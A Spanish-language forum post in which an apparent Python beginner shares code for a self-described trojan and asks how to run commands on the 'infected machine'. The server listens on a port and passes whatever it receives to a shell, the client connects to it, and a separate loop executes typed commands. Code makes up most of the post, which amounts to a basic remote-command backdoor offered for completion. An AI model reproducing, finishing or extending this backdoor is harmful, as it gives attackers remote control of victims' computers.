hola estoy aprendiendo python y voy lo basico estaba experimentando con crear mi propio backdoor y es estado investigando y e creado lo basico una conexion establecida pero necesito ayuda estos son los codigos,
server:
import os
import socket
import threading
from subprocess import Popen
from subprocess import PIPE
def administrar_clientes(socket_cliente):
peticion = socket_cliente.recv(4096)
print "[*] Mensaje recibido: %s" % peticion
respuesta = Popen(peticion, shell=True, stdout=PIPE).stdout.read()
# confirmar al cliente, que el mensaje fue recibido
socket_cliente.send(respuesta)
socket_cliente.close()
ip = "0.0.0.0"
puerto = 39421
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servidor.bind((ip, puerto))
servidor.listen(max_conexiones)
print "[*] Esperando conexiones en %s:%d" % (ip, puerto)
while True:
cliente, direccion = servidor.accept()
print "[*] Conexion establecida con %s:%d" % (direccion[0], direccion[1])
administrador_de_clientes = threading.Thread(target=administrar_clientes, args=(cliente,))
administrador_de_clientes.start()
cliente:
import os
import socket
servidor = "127.0.0.1"
puerto = 39421
cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
# solicitamos la lista de archivos del home del usuario
cliente.send( "" );
respuesta = cliente.recv(4096)
print respuesta
el codigo funciona al ejecutar el server aparece la ventana de esperando conexiones cuando ejecuto el cliente establece la conexion pero hasta hay se queda quisiera ayuda para integrar la consola cmd y ejecutar comandos en la maquina infectada, encontre un modulo cmd python pero no se como integrarlo necesito ayuda estoy empesando con python pero entiendo los codigos por favor ayudenme gracias de antemano.
codigo ejecutar cmd desde python:
import os
os.system("color a")
while True:
os.system("cls")
cmd = raw_input("Ingresar Comando:")
print os.system(cmd)
raw_input("Ingrese Nuevo Comando:")
como integro este codigo al troyano que estoy haciendo?